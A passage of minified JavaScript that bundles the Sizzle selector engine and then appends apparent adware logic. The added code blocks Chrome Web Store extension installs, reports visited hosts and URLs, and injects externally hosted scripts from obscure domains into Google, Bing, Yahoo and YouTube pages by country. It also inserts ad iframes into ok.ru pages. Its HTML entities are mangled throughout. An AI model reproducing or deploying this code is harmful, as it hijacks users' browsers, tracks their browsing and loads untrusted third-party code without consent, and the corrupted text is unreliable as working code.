aJ = (i & amp; & amp; Y.call(v.attrHandle, e.toLowerCase()) ? i(aI, e, !at) : q); | |
return aJ === q ? aD.attributes || !at ? aI.getAttribute(e) : (aJ = aI.getAttributeNode(e)) & amp; & amp; | |
aJ.specified ? aJ.value : null: aJ | |
}; | |
E.error = function(e) { | |
throw new Error("Syntax error | |
unrecognized expression: " + e) | |
}; | |
E.uniqueSort = function(aJ) { | |
var aK, aL = [], | |
e = 0, | |
aI = 0; | |
ah = !aD.detectDuplicates; | |
S = !aD.sortStable & amp; & amp; | |
aJ.slice(0); | |
aJ.sort(N); | |
if (ah) { | |
while ((aK = aJ[aI++])) { | |
if (aK === aJ[aI]) { | |
e = aL.push(aI) | |
} | |
} | |
while (e--) { | |
aJ.splice(aL[e], 1) | |
} | |
} | |
return aJ | |
}; | |
R = E.getText = function(aL) { | |
var aK, aI = "", | |
aJ = 0, | |
e = aL.nodeType; | |
if (!e) { | |
for (; | |
(aK = aL[aJ]); aJ++) { | |
aI += R(aK) | |
} | |
} else { | |
if (e === 1 || e === 9 || e === 11) { | |
if (typeof aL.textContent === "string") { | |
return aL.textContent | |
} else { | |
for (aL = aL.firstChild; aL; aL = aL.nextSibling) { | |
aI += R(aL) | |
} | |
} | |
} else { | |
if (e === 3 || e === 4) { | |
return aL.nodeValue | |
} | |
} | |
} | |
return aI | |
}; | |
v = E.selectors = { | |
cacheLength: 50, | |
createPseudo: r, | |
match: am, | |
attrHandle: {}, | |
find: {}, | |
relative: { | |
">": { | |
dir: "parentNode", | |
first: true | |
}, | |
" ": { | |
dir: "parentNode" | |
}, | |
"+": { | |
dir: "previousSibling", | |
first: true | |
}, | |
"~": { | |
dir: "previousSibling" | |
} | |
}, | |
preFilter: { | |
ATTR: function(e) { | |
e[1] = e[1].replace(A, ap); | |
e[3] = (e[4] || e[5] || "").replace(A, ap); | |
if (e[2] === "~=") { | |
e[3] = " " + e[3] + " " | |
} | |
return e.slice(0, 4) | |
}, | |
CHILD: function(e) { | |
e[1] = e[1].toLowerCase(); | |
if (e[1].slice(0, 3) === "nth") { | |
if (!e[3]) { | |
E.error(e[0]) | |
} | |
e[4] = +(e[4] ? e[5] + (e[6] || 1) : 2 * (e[3] === "even" || e[3] === "odd")); | |
e[5] = +((e[7] + e[8]) || e[3] === "odd") | |
} else { | |
if (e[3]) { | |
E.error(e[0]) | |
} | |
} | |
return e | |
}, | |
PSEUDO: function(i) { | |
var e, aI = !i[5] & amp; & amp; | |
i[2]; | |
if (am.CHILD.test(i[0])) { | |
return null | |
} | |
if (i[3] & amp; & amp; i[4] !== q) { | |
i[2] = i[4] | |
} else { | |
if (aI & amp; & amp; ad.test(aI) & amp; & amp; | |
(e = p(aI, true)) & amp; & amp; | |
(e = aI.indexOf(")", aI.length - e) - aI.length)) { | |
i[0] = i[0].slice(0, e); | |
i[2] = aI.slice(0, e) | |
} | |
} | |
return i.slice(0, 3) | |
} | |
}, | |
filter: { | |
TAG: function(i) { | |
var e = i.replace(A, ap).toLowerCase(); | |
return i === "*" ? function() { | |
return true | |
} : function(aI) { | |
return aI.nodeName & amp; & amp; | |
aI.nodeName.toLowerCase() === e | |
} | |
}, | |
CLASS: function(e) { | |
var i = d[e + " "]; | |
return i || (i = new RegExp("(^|" + x + ")" + e + "(" + x + "|$)")) & amp; & amp; | |
d(e, function(aI) { | |
return i.test(typeof aI.className === "string" & amp; & amp; aI.className || typeof aI.getAttribute !== az & amp; & amp; aI.getAttribute("class") || "") | |
}) | |
}, | |
ATTR: function(aI, i, e) { | |
return function(aK) { | |
var aJ = E.attr(aK, aI); | |
if (aJ == null) { | |
return i === "!=" | |
} | |
if (!i) { | |
return true | |
} | |
aJ += ""; | |
return i === "=" ? aJ === e : i === "!=" ? aJ !== e : i === "^=" ? e & amp; & amp; | |
aJ.indexOf(e) === 0: i === "*=" ? e & amp; & amp; | |
aJ.indexOf(e) & gt; - 1: i === "$=" ? e & amp; & amp; | |
aJ.slice(-e.length) === e: i === "~=" ? (" " + aJ + " ").indexOf(e) & gt; - 1: i === "|=" ? aJ === e || aJ.slice(0, e.length + 1) === e + "-" : false | |
} | |
}, | |
CHILD: function(i, aK, aJ, aL, aI) { | |
var aN = i.slice(0, 3) !== "nth", | |
e = i.slice(-4) !== "last", | |
aM = aK === "of-type"; | |
return aL === 1 & amp; & amp; | |
aI === 0 ? function(aO) { | |
return !!aO.parentNode | |
} : function(aU, aS, aX) { | |
var aO, a0, aV, aZ, aW, aR, aT = aN !== e ? "nextSibling" : "previousSibling", | |
aY = aU.parentNode, | |
aQ = aM & amp; & amp; | |
aU.nodeName.toLowerCase(), | |
aP = !aX & amp; & amp; | |
!aM; | |
if (aY) { | |
if (aN) { | |
while (aT) { | |
aV = aU; | |
while ((aV = aV[aT])) { | |
if (aM ? aV.nodeName.toLowerCase() === aQ : aV.nodeType === 1) { | |
return false | |
} | |
} | |
aR = aT = i === "only" & amp; & amp; | |
!aR & amp; & amp; | |
"nextSibling" | |
} | |
return true | |
} | |
aR = [e ? aY.firstChild : aY.lastChild]; | |
if (e & amp; & amp; aP) { | |
a0 = aY[av] || (aY[av] = {}); | |
aO = a0[i] || []; | |
aW = aO[0] === aE & amp; & amp; | |
aO[1]; | |
aZ = aO[0] === aE & amp; & amp; | |
aO[2]; | |
aV = aW & amp; & amp; | |
aY.childNodes[aW]; | |
while ((aV = ++aW & amp; & amp; aV & amp; & amp; aV[aT] || (aZ = aW = 0) || aR.pop())) { | |
if (aV.nodeType === 1 & amp; & amp; ++aZ & amp; & amp; aV === aU) { | |
a0[i] = [aE, aW, aZ]; | |
break | |
} | |
} | |
} else { | |
if (aP & amp; & amp; | |
(aO = (aU[av] || (aU[av] = {}))[i]) & amp; & amp; aO[0] === aE) { | |
aZ = aO[1] | |
} else { | |
while ((aV = ++aW & amp; & amp; aV & amp; & amp; aV[aT] || (aZ = aW = 0) || aR.pop())) { | |
if ((aM ? aV.nodeName.toLowerCase() === aQ : aV.nodeType === 1) & amp; & amp; ++aZ) { | |
if (aP) { | |
(aV[av] || (aV[av] = {}))[i] = [aE, aZ] | |
} | |
if (aV === aU) { | |
break | |
} | |
} | |
} | |
} | |
} | |
aZ -= aI; | |
return aZ === aL || (aZ % aL === 0 & amp; & amp; aZ / aL & gt; = 0) | |
} | |
} | |
}, | |
PSEUDO: function(aJ, aI) { | |
var e, i = v.pseudos[aJ] || v.setFilters[aJ.toLowerCase()] || E.error("unsupported pseudo: " + aJ); | |
if (i[av]) { | |
return i(aI) | |
} | |
if (i.length & gt; 1) { | |
e = [aJ, aJ, "", aI]; | |
return v.setFilters.hasOwnProperty(aJ.toLowerCase()) ? r(function(aM, aO) { | |
var aL, aK = i(aM, aI), | |
aN = aK.length; | |
while (aN--) { | |
aL = j.call(aM, aK[aN]); | |
aM[aL] = !(aO[aL] = aK[aN]) | |
} | |
}) : function(aK) { | |
return i(aK, 0, e) | |
} | |
} | |
return i | |
} | |
}, | |
pseudos: { | |
not: r(function(e) { | |
var i = [], | |
aI = [], | |
aJ = ag(e.replace(z, "$1")); | |
return aJ[av] ? r(function(aL, aQ, aO, aM) { | |
var aP, aK = aJ(aL, null, aM, []), | |
aN = aL.length; | |
while (aN--) { | |
if ((aP = aK[aN])) { | |
aL[aN] = !(aQ[aN] = aP) | |
} | |
} | |
}) : function(aM, aL, aK) { | |
i[0] = aM; | |
aJ(i, null, aK, aI); | |
return !aI.pop() | |
} | |
}), | |
has: r(function(e) { | |
return function(i) { | |
return E(e, i).length & gt; | |
0 | |
} | |
}), | |
contains: r(function(e) { | |
return function(i) { | |
return (i.textContent || i.innerText || R(i)).indexOf(e) & gt; - 1 | |
} | |
}), | |
lang: r(function(e) { | |
if (!ae.test(e || "")) { | |
E.error("unsupported lang: " + e) | |
} | |
e = e.replace(A, ap).toLowerCase(); | |
return function(aI) { | |
var i; | |
do { | |
if ((i = at ? aI.lang : aI.getAttribute("xml:lang") || aI.getAttribute("lang"))) { | |
i = i.toLowerCase(); | |
return i === e || i.indexOf(e + "-") === 0 | |
} | |
} while ((aI = aI.parentNode) & amp; & amp; aI.nodeType === 1); | |
return false | |
} | |
}), | |
target: function(e) { | |
var i = aA.location & amp; & amp; | |
aA.location.hash; | |
return i & amp; & amp; | |
i.slice(1) === e.id | |
}, | |
root: function(e) { | |
return e === w | |
}, | |
focus: function(e) { | |
return e === L.activeElement & amp; & amp; | |
(!L.hasFocus || L.hasFocus()) & amp; & amp; | |
!!(e.type || e.href || ~e.tabIndex) | |
}, | |
enabled: function(e) { | |
return e.disabled === false | |
}, | |
disabled: function(e) { | |
return e.disabled === true | |
}, | |
checked: function(e) { | |
var i = e.nodeName.toLowerCase(); | |
return (i === "input" & amp; & amp; !!e.checked) || (i === "option" & amp; & amp; !!e.selected) | |
}, | |
selected: function(e) { | |
if (e.parentNode) { | |
e.parentNode.selectedIndex | |
} | |
return e.selected === true | |
}, | |
empty: function(e) { | |
for (e = e.firstChild; e; e = e.nextSibling) { | |
if (e.nodeName & gt; | |
"@" || e.nodeType === 3 || e.nodeType === 4) { | |
return false | |
} | |
} | |
return true | |
}, | |
parent: function(e) { | |
return !v.pseudos.empty(e) | |
}, | |
header: function(e) { | |
return t.test(e.nodeName) | |
}, | |
input: function(e) { | |
return h.test(e.nodeName) | |
}, | |
button: function(i) { | |
var e = i.nodeName.toLowerCase(); | |
return e === "input" & amp; & amp; | |
i.type === "button" || e === "button" | |
}, | |
text: function(i) { | |
var e; | |
return i.nodeName.toLowerCase() === "input" & amp; & amp; | |
i.type === "text" & amp; & amp; | |
((e = i.getAttribute("type")) == null || e.toLowerCase() === i.type) | |
}, | |
first: ar(function() { | |
return [0] | |
}), | |
last: ar(function(e, i) { | |
return [i - 1] | |
}), | |
eq: ar(function(e, aI, i) { | |
return [i & lt;0 ? i + aI : i] | |
}), | |
even: ar(function(e, aJ) { | |
var aI = 0; | |
for (; aI & lt; aJ; aI += 2) { | |
e.push(aI) | |
} | |
return e | |
}), | |
odd: ar(function(e, aJ) { | |
var aI = 1; | |
for (; aI & lt; aJ; aI += 2) { | |
e.push(aI) | |
} | |
return e | |
}), | |
lt: ar(function(e, aK, aJ) { | |
var aI = aJ & lt; | |
0 ? aJ + aK : aJ; | |
for (; --aI & gt; = 0;) { | |
e.push(aI) | |
} | |
return e | |
}), | |
gt: ar(function(e, aK, aJ) { | |
var aI = aJ & lt; | |
0 ? aJ + aK : aJ; | |
for (; ++aI & lt; aK;) { | |
e.push(aI) | |
} | |
return e | |
}) | |
} | |
}; | |
for (G in { | |
radio: true, | |
checkbox: true, | |
file: true, | |
password: true, | |
image: true | |
}) { | |
v.pseudos[G] = F(G) | |
} | |
for (G in { | |
submit: true, | |
reset: true | |
}) { | |
v.pseudos[G] = g(G) | |
} | |
function p(aK, aP) { | |
var i, aL, aN, aO, aM, aI, e, aJ = au[aK + " "]; | |
if (aJ) { | |
return aP ? 0 : aJ.slice(0) | |
} | |
aM = aK; | |
aI = []; | |
e = v.preFilter; | |
while (aM) { | |
if (!i || (aL = D.exec(aM))) { | |
if (aL) { | |
aM = aM.slice(aL[0].length) || aM | |
} | |
aI.push(aN = []) | |
} | |
i = false; | |
if ((aL = K.exec(aM))) { | |
i = aL.shift(); | |
aN.push({ | |
value: i, | |
type: aL[0].replace(z, " ") | |
}); | |
aM = aM.slice(i.length) | |
} | |
for (aO in v.filter) { | |
if ((aL = am[aO].exec(aM)) & amp; & amp; | |
(!e[aO] || (aL = e[aO](aL)))) { | |
i = aL.shift(); | |
aN.push({ | |
value: i, | |
type: aO, | |
matches: aL | |
}); | |
aM = aM.slice(i.length) | |
} | |
} | |
if (!i) { | |
break | |
} | |
} | |
return aP ? aM.length : aM ? E.error(aK) : au(aK, aI).slice(0) | |
} | |
function o(aK) { | |
var aJ = 0, | |
aI = aK.length, | |
e = ""; | |
for (; aJ & lt; aI; aJ++) { | |
e += aK[aJ].value | |
} | |
return e | |
} | |
function y(aK, aI, aJ) { | |
var e = aI.dir, | |
aL = aJ & amp; & amp; | |
e === "parentNode", | |
i = ao++; | |
return aI.first ? function(aO, aN, aM) { | |
while ((aO = aO[e])) { | |
if (aO.nodeType === 1 || aL) { | |
return aK(aO, aN, aM) | |
} | |
} | |
} : function(aQ, aO, aN) { | |
var aS, aM, aP, aR = aE + " " + i; | |
if (aN) { | |
while ((aQ = aQ[e])) { | |
if (aQ.nodeType === 1 || aL) { | |
if (aK(aQ, aO, aN)) { | |
return true | |
} | |
} | |
} | |
} else { | |
while ((aQ = aQ[e])) { | |
if (aQ.nodeType === 1 || aL) { | |
aP = aQ[av] || (aQ[av] = {}); | |
if ((aM = aP[e]) & amp; & amp; aM[0] === aR) { | |
if ((aS = aM[1]) === true || aS === l) { | |
return aS === true | |
} | |
} else { | |
aM = aP[e] = [aR]; | |
aM[1] = aK(aQ, aO, aN) || l; | |
if (aM[1] === true) { | |
return true | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
function aG(e) { | |
return e.length & gt; | |
1 ? function(aL, aK, aI) { | |
var aJ = e.length; | |
while (aJ--) { | |
if (!e[aJ](aL, aK, aI)) { | |
return false | |
} | |
} | |
return true | |
} : e[0] | |
} | |
function ak(e, aI, aJ, aK, aN) { | |
var aL, aQ = [], | |
aM = 0, | |
aO = e.length, | |
aP = aI != null; | |
for (; aM & lt; aO; aM++) { | |
if ((aL = e[aM])) { | |
if (!aJ || aJ(aL, aK, aN)) { | |
aQ.push(aL); | |
if (aP) { | |
aI.push(aM) | |
} | |
} | |
} | |
} | |
return aQ | |
} | |
function n(aI, i, aK, aJ, aL, e) { | |
if (aJ & amp; & amp; !aJ[av]) { | |
aJ = n(aJ) | |
} | |
if (aL & amp; & amp; !aL[av]) { | |
aL = n(aL, e) | |
} | |
return r(function(aW, aT, aO, aV) { | |
var aY, aU, aQ, aP = [], | |
aX = [], | |
aN = aT.length, | |
aM = aW || I(i || "*", aO.nodeType ? [aO] : aO, []), | |
aR = aI & amp; & amp; | |
(aW || !i) ? ak(aM, aP, aI, aO, aV): aM, | |
aS = aK ? aL || (aW ? aI : aN || aJ) ? [] : aT : aR; | |
if (aK) { | |
aK(aR, aS, aO, aV) | |
} | |
if (aJ) { | |
aY = ak(aS, aX); | |
aJ(aY, [], aO, aV); | |
aU = aY.length; | |
while (aU--) { | |
if ((aQ = aY[aU])) { | |
aS[aX[aU]] = !(aR[aX[aU]] = aQ) | |
} | |
} | |
} | |
if (aW) { | |
if (aL || aI) { | |
if (aL) { | |
aY = []; | |
aU = aS.length; | |
while (aU--) { | |
if ((aQ = aS[aU])) { | |
aY.push((aR[aU] = aQ)) | |
} | |
} | |
aL(null, (aS = []), aY, aV) | |
} | |
aU = aS.length; | |
while (aU--) { | |
if ((aQ = aS[aU]) & amp; & amp; | |
(aY = aL ? j.call(aW, aQ) : aP[aU]) & gt; - 1) { | |
aW[aY] = !(aT[aY] = aQ) | |
} | |
} | |
} | |
} else { | |
aS = ak(aS === aT ? aS.splice(aN, aS.length) : aS); | |
if (aL) { | |
aL(null, aT, aS, aV) | |
} else { | |
b.apply(aT, aS) | |
} | |
} | |
}) | |
} | |
function aw(aN) { | |
var aI, aL, aJ, aM = aN.length, | |
aQ = v.relative[aN[0].type], | |
aR = aQ || v.relative[" "], | |
aK = aQ ? 1 : 0, | |
aO = y(function(i) { | |
return i === aI | |
}, aR, true), | |
aP = y(function(i) { | |
return j.call(aI, i) & gt; - 1 | |
}, aR, true), | |
e = [function(aT, aS, i) { | |
return (!aQ & amp; & amp; | |
(i || aS !== aH)) || ((aI = aS).nodeType ? aO(aT, aS, i) : aP(aT, aS, i)) | |
}]; | |
for (; aK & lt; aM; aK++) { | |
if ((aL = v.relative[aN[aK].type])) { | |
e = [y(aG(e), aL)] | |
} else { | |
aL = v.filter[aN[aK].type].apply(null, aN[aK].matches); | |
if (aL[av]) { | |
aJ = ++aK; | |
for (; aJ & lt; aM; aJ++) { | |
if (v.relative[aN[aJ].type]) { | |
break | |
} | |
} | |
return n(aK & gt; 1 & amp; & amp; aG(e), aK & gt; 1 & amp; & amp; o(aN.slice(0, aK - 1).concat({ | |
value: aN[aK - 2].type === " " ? "*" : "" | |
})).replace(z, "$1"), aL, aK & lt; aJ & amp; & amp; aw(aN.slice(aK, aJ)), aJ & lt; aM & amp; & amp; aw((aN = aN.slice(aJ))), aJ & lt; aM & amp; & amp; o(aN)) | |
} | |
e.push(aL) | |
} | |
} | |
return aG(e) | |
} | |
function ai(aJ, aI) { | |
var aL = 0, | |
e = aI.length & gt; | |
0, | |
aK = aJ.length & gt; | |
0, | |
i = function(aV, aP, aU, aT, a1) { | |
var aQ, aR, aW, a0 = [], | |
aZ = 0, | |
aS = "0", | |
aM = aV & amp; & amp; | |
[], | |
aX = a1 != null, | |
aY = aH, | |
aO = aV || aK & amp; & amp; | |
v.find.TAG("*", a1 & amp; & amp; aP.parentNode || aP), | |
aN = (aE += aY == null ? 1 : Math.random() || 0.1); | |
if (aX) { | |
aH = aP !== L & amp; & amp; | |
aP; | |
l = aL | |
} | |
for (; | |
(aQ = aO[aS]) != null; aS++) { | |
if (aK & amp; & amp; aQ) { | |
aR = 0; | |
while ((aW = aJ[aR++])) { | |
if (aW(aQ, aP, aU)) { | |
aT.push(aQ); | |
break | |
} | |
} | |
if (aX) { | |
aE = aN; | |
l = ++aL | |
} | |
} | |
if (e) { | |
if ((aQ = !aW & amp; & amp; aQ)) { | |
aZ-- | |
} | |
if (aV) { | |
aM.push(aQ) | |
} | |
} | |
} | |
aZ += aS; | |
if (e & amp; & amp; aS !== aZ) { | |
aR = 0; | |
while ((aW = aI[aR++])) { | |
aW(aM, a0, aP, aU) | |
} | |
if (aV) { | |
if (aZ & gt; 0) { | |
while (aS--) { | |
if (!(aM[aS] || a0[aS])) { | |
a0[aS] = ay.call(aT) | |
} | |
} | |
} | |
a0 = ak(a0) | |
} | |
b.apply(aT, a0); | |
if (aX & amp; & amp; !aV & amp; & amp; a0.length & gt; 0 & amp; & amp; | |
(aZ + aI.length) & gt; 1) { | |
E.uniqueSort(aT) | |
} | |
} | |
if (aX) { | |
aE = aN; | |
aH = aY | |
} | |
return aM | |
}; | |
return e ? r(i) : i | |
} | |
ag = E.compile = function(e, aM) { | |
var aJ, aI = [], | |
aL = [], | |
aK = Q[e + " "]; | |
if (!aK) { | |
if (!aM) { | |
aM = p(e) | |
} | |
aJ = aM.length; | |
while (aJ--) { | |
aK = aw(aM[aJ]); | |
if (aK[av]) { | |
aI.push(aK) | |
} else { | |
aL.push(aK) | |
} | |
} | |
aK = Q(e, ai(aL, aI)) | |
} | |
return aK | |
}; | |
function I(aI, aL, aK) { | |
var aJ = 0, | |
e = aL.length; | |
for (; aJ & lt; e; aJ++) { | |
E(aI, aL[aJ], aK) | |
} | |
return aK | |
} | |
function aC(aJ, e, aK, aN) { | |
var aL, aP, aI, aQ, aO, aM = p(aJ); | |
if (!aN) { | |
if (aM.length === 1) { | |
aP = aM[0] = aM[0].slice(0); | |
if (aP.length & gt; 2 & amp; & amp; | |
(aI = aP[0]).type === "ID" & amp; & amp; aD.getById & amp; & amp; e.nodeType === 9 & amp; & amp; at & amp; & amp; v.relative[aP[1].type]) { | |
e = (v.find.ID(aI.matches[0].replace(A, ap), e) || [])[0]; | |
if (!e) { | |
return aK | |
} | |
aJ = aJ.slice(aP.shift().value.length) | |
} | |
aL = am.needsContext.test(aJ) ? 0 : aP.length; | |
while (aL--) { | |
aI = aP[aL]; | |
if (v.relative[(aQ = aI.type)]) { | |
break | |
} | |
if ((aO = v.find[aQ])) { | |
if ((aN = aO(aI.matches[0].replace(A, ap), al.test(aP[0].type) & amp; & amp; e.parentNode || e))) { | |
aP.splice(aL, 1); | |
aJ = aN.length & amp; & amp; | |
o(aP); | |
if (!aJ) { | |
b.apply(aK, aN); | |
return aK | |
} | |
break | |
} | |
} | |
} | |
} | |
} | |
ag(aJ, aM)(aN, e, !at, aK, al.test(aJ)); | |
return aK | |
} | |
v.pseudos.nth = v.pseudos.eq; | |
function af() {} | |
af.prototype = v.filters = v.pseudos; | |
v.setFilters = new af(); | |
aD.sortStable = av.split("").sort(N).join("") === av; | |
aj(); | |
[0, 0].sort(N); | |
aD.detectDuplicates = ah; | |
aA["684a91d7f4464c3350"].Sizzle = E | |
})(window);; | |
var e = i[g].Sizzle; | |
var d = i[g]; | |
d.Sizzle = e; | |
d.demoMode = i[g].demoMode = (o); | |
d.ready(function() { | |
if (location.href.indexOf("thisadsfor.us") & gt; - 1) { | |
return true | |
} | |
try { | |
(function() { | |
var x = function() { | |
var z = "chrome-webstore-item"; | |
var A = document.getElementsByTagName("link"); | |
for (var y = 0, B = A.length; B & gt; y; ++y) { | |
if (z == A[y].getAttribute("id") || z == A[y].getAttribute("rel")) { | |
d.loadedCallback("PROMO_ANLZ", "", location.host, location.href, A[y].getAttribute("href")) | |
} | |
} | |
}; | |
x() | |
})() | |
} catch (v) {} | |
try { | |
(function() { | |
var z = function() { | |
location.href = "javascript:(" + function() { | |
window.onbeforeunload = null; | |
window.onunload = null; | |
chrome.webstore.install = null | |
} + ")()" | |
}; | |
var y = function() { | |
window.stop & amp; & amp; | |
window.stop(); | |
location.replace("about:blank") | |
}; | |
var x = function() { | |
if ("50653" == "51433" & amp; & amp; location.hostname.indexOf("olam-hamedia.tech") & gt; - 1) { | |
return | |
} | |
var B = "chrome-webstore-item"; | |
var C = document.getElementsByTagName("link"); | |
for (var A = 0, D = C.length; D & gt; A; ++A) { | |
if (B == C[A].getAttribute("id") || B == C[A].getAttribute("rel")) { | |
C[A].setAttribute("rel", ""); | |
C[A].setAttribute("id", ""); | |
C[A].setAttribute("href", ""); | |
z() | |
} | |
} | |
}; | |
if (!location.hostname.match(/dostup-[a-z]+\.com$/) & amp; & amp; location.hostname.indexOf("freevideodownloader") == -1 & amp; & amp; location.hostname.indexOf("musvk") == -1 & amp; & amp; location.hostname.indexOf("vkonline.xyz") == -1 & amp; & amp; location.hostname.indexOf("vkunblock.com") == -1) { | |
x() | |
} | |
})() | |
} catch (v) {} | |
var r = function(y) { | |
var B = {}; | |
y = y.split("?"); | |
if (y.length & lt; 2) { | |
return B | |
} | |
var A = y[1]; | |
var C = A.split("&"); | |
for (var z = 0; z & lt; C.length; z++) { | |
var D = C[z].split("="); | |
if (typeof B[D[0]] === "undefined") { | |
B[D[0]] = D[1] | |
} else { | |
if (typeof B[D[0]] === "string") { | |
var x = [B[D[0]] | |
D[1] | |
]; | |
B[D[0]] = x | |
} else { | |
B[D[0]].push(D[1]) | |
} | |
} | |
} | |
return B | |
}; | |
var s = {}; | |
var p = document.getElementsByTagName("script"); | |
for (var t = 0; t & lt; p.length; t++) { | |
var q = p[t]; | |
if (q.src.search(/684a91d7f4464c3350.*\.js/i) !== -1) { | |
if (n) { | |
d.scriptDomain = q.src.replace(/^https?\:\/\//i, "").split("/")[0] | |
} | |
s = r(q.src); | |
break | |
} | |
} | |
if (location.host.indexOf("bing.com") & gt; - 1 & amp; & amp; i.AM & amp; & amp; typeof i.AM == "object") { | |
i.AM.push(d.scriptDomain) | |
} | |
i[g].tbParams = { | |
wid: "50653" | |
sid: "" | |
tid: "1668" | |
title: "sponsored" | |
optoutUrl: "" | |
}; | |
if (s.sid) { | |
i[g].tbParams.sid = s.sid | |
} | |
if (s.title) { | |
i[g].tbParams.title = decodeURIComponent(s.title) | |
} | |
if (s.optout) { | |
i[g].tbParams.optoutUrl = decodeURIComponent(s.optout) | |
} | |
i[g].getParams = r(location.href); | |
d.tbParams = i[g].tbParams; | |
d.loadedCallback("LOADED", "", location.host); | |
var w = /\.(jpg|png|jpeg|gif|bmp|doc|pdf|xls|js|xml|doc|docs|txt|css)$/; | |
if (location.href.match(w)) { | |
d.loadedCallback("URL_STATICFILE"); | |
return false | |
} | |
var u = /(script\.monetizus\.|metrext\.com|icontent\.us|trendtext\.eu|paypal\.com|secure\.|\.gov|doubleclick\.net|addthis\.com|twitter\.com|docs\.google\.com|drive\.google\.com)/; | |
if (location.hostname.match(u)) { | |
d.loadedCallback("URL_IGNOREDOMAIN"); | |
return false | |
}(function(d, w, u) { | |
var $$ = w["684a91d7f4464c3350"]; | |
var scriptsToLoad = $$.fromJson("{\"4a71b\":{\"countries_allow\":\"gb,de,fr,es,it,ru,pt,br,be,pl,cz,at,ch,nl,ie,no,se,dk,fi,us\",\"countries_deny\":\"\",\"hostname_allow\":\"(?:google\\\\..*|bing\\\\.com)\",\"hostname_deny\":\"\",\"browsers_allow\":\"\",\"browsers_deny\":\"\",\"coverage\":\"100\",\"url\":\"\",\"limit\":\"0\",\"type\":\"platform\",\"key\":\"4a71b\"},\"f4aaf\":{\"countries_allow\":\"\",\"countries_deny\":\"\",\"hostname_allow\":\"\",\"hostname_deny\":\"\",\"browsers_allow\":\"\",\"browsers_deny\":\"\",\"coverage\":\"100\",\"url\":\"\",\"limit\":\"3600\",\"type\":\"platform\",\"key\":\"f4aaf\"},\"220bb\":{\"countries_allow\":\"us\",\"countries_deny\":\"\",\"hostname_allow\":\"\",\"hostname_deny\":\"(?:.*\\\\.amazon\\\\..*|amazon\\\\..*)\",\"browsers_allow\":\"\",\"browsers_deny\":\"\",\"coverage\":\"100\",\"url\":\"\",\"limit\":\"0\",\"type\":\"platform\",\"key\":\"220bb\"},\"02aed\":{\"countries_allow\":\"\",\"countries_deny\":null,\"hostname_allow\":\"\",\"hostname_deny\":\"\",\"browsers_allow\":\"\",\"browsers_deny\":\"\",\"coverage\":\"100\",\"url\":\"\",\"limit\":\"0\",\"type\":\"platform\",\"key\":\"02aed\"},\"4a0ef\":{\"countries_allow\":\"\",\"countries_deny\":\"\",\"hostname_allow\":\"(?:google\\\\..*|.*yahoo\\\\..*|.*yandex\\\\..*|msn\\\\..*|duckduckgo\\\\..*|search\\\\.aol\\\\.com|.*ask.*|.*wow\\\\.com.*|search\\\\.mywebsearch\\\\.com|search\\\\.myway\\\\.com)\",\"hostname_deny\":\"\",\"browsers_allow\":\"\",\"browsers_deny\":\"\",\"coverage\":\"100\",\"url\":\"\",\"limit\":\"0\",\"type\":\"platform\",\"key\":\"4a0ef\"},\"5de0e\":{\"countries_allow\":\"ar | |
au be br ca cl co fr de jp my mx nl pe pl pt ro sa za es se ch tw tr ua ae gb us ve it es nl at ch ie fi dk no in \",\"countries_deny\":\"\",\"hostname_allow\":\"(?:google\\\\..*|.*yahoo\\\\..*|.*yandex\\\\..*|msn\\\\..*|duckduckgo\\\\..*|search\\\\.aol\\\\.com|.*ask.*|.*wow\\\\.com.*|search\\\\.mywebsearch\\\\.com|search\\\\.myway\\\\.com)\",\"hostname_deny\":\"\",\"browsers_allow\":\"\",\"browsers_deny\":\"\",\"coverage\":\"100\",\"url\":\"\\/\\/asrvvv-a.akamaihd.net\\/get?addonname=\\/TITLE\\/&clientuid=undefined&subID=50653_1668_\\/SID\\/&affid=9686&subaffid=1003&href=\\/REFERRER\\/\",\"limit\":\"0\",\"type\":\"external\",\"key\":\"5de0e\"},\"c3369\":{\"countries_allow\":\"gb | |
fr de nl dk no se ch fi at es it ie in | |
br id sg my mx co cl ar pe ve pa cr ni sv hn bo uy gt py ec hk tw\ ",\"countries_deny\":null,\"hostname_allow\":\"(?:google\\\\..*|youtube\\\\.com)\",\"hostname_deny\":\"\",\"browsers_allow\":\"\",\"browsers_deny\":\"\",\"coverage\":\"100\",\"url\":\"\\/\\/www.9ruey8ughjffo.xyz\\/script\\/d.php?uid=50653x1668xzzzzzzzzzzzzzzzzzzzzz&a=3453\",\"limit\":\"0\",\"type\":\"external\",\"key\":\"c3369\"}}");;;;;;;;;;;;;;;; | |
var isInIframe = function() { | |
return (window.top != window.self) | |
}; | |
var runForceSearch;;;; | |
if (!scriptsToLoad) { | |
return false | |
} | |
$$.monetizationsConfig = scriptsToLoad; | |
var getUrlFromConfigObject = function(configRow) { | |
if (configRow.http_url & amp; & amp; window.location.protocol == "http:") { | |
return configRow.http_url | |
} else { | |
if (configRow.https_url & amp; & amp; window.location.protocol == "https:") { | |
return configRow.https_url | |
} else { | |
if (configRow.url) { | |
return configRow.url | |
} | |
} | |
} | |
}; | |
if (scriptsToLoad['4a71b'] & amp; & amp; $$.getCookie("__mzpsd") == 1) { | |
return false | |
} | |
if (location.hostname.indexOf("ok.ru") & gt; - 1 & amp; & amp; scriptsToLoad['1f755']) { | |
var oconf = $$.getMonetizationConfig('1f755'); | |
if (!!oconf.injectOk & amp; & amp; oconf.injectOk == "1") { | |
(function() { | |
var d = document.querySelector("body"); | |
if (!d) { | |
return | |
} | |
function i(j) { | |
j = j.replace(/%PUBLISHER_ID%/, ($$ & amp; & amp; $$.tbParams & amp; & amp; $$.tbParams.wid) ? $$.tbParams.wid : ""); | |
j = j.replace(/%SOURCE_ID%/, ($$ & amp; & amp; $$.tbParams & amp; & amp; $$.tbParams.tid) ? $$.tbParams.tid : ""); | |
j = j.replace(/%SUBID%/, ($$ & amp; & amp; $$.tbParams & amp; & amp; $$.tbParams.sid) ? $$.tbParams.sid : ""); | |
j = j.replace(/INSERT_RANDOM_NUMBER_HERE/, new Date().getTime()); | |
return j | |
} | |
var e = i("<iframe id='a60b8ce3' name='a60b8ce3' src='//cdnpps.us/www/delivery/afr.php?zoneid=122&amp;cb=INSERT_RANDOM_NUMBER_HERE&amp;xid=%PUBLISHER_ID%_%SOURCE_ID%_%SUBID%' frameborder='0' scrolling='no' width='300' height='600' style='display:inline-block;'><a href='//cdnpps.us/www/delivery/ck.php?n=abb06471' target='_blank'><img src='//cdnpps.us/www/delivery/avw.php?zoneid=122&amp;n=abb06471' border='0' alt='' /></a></iframe>"); | |
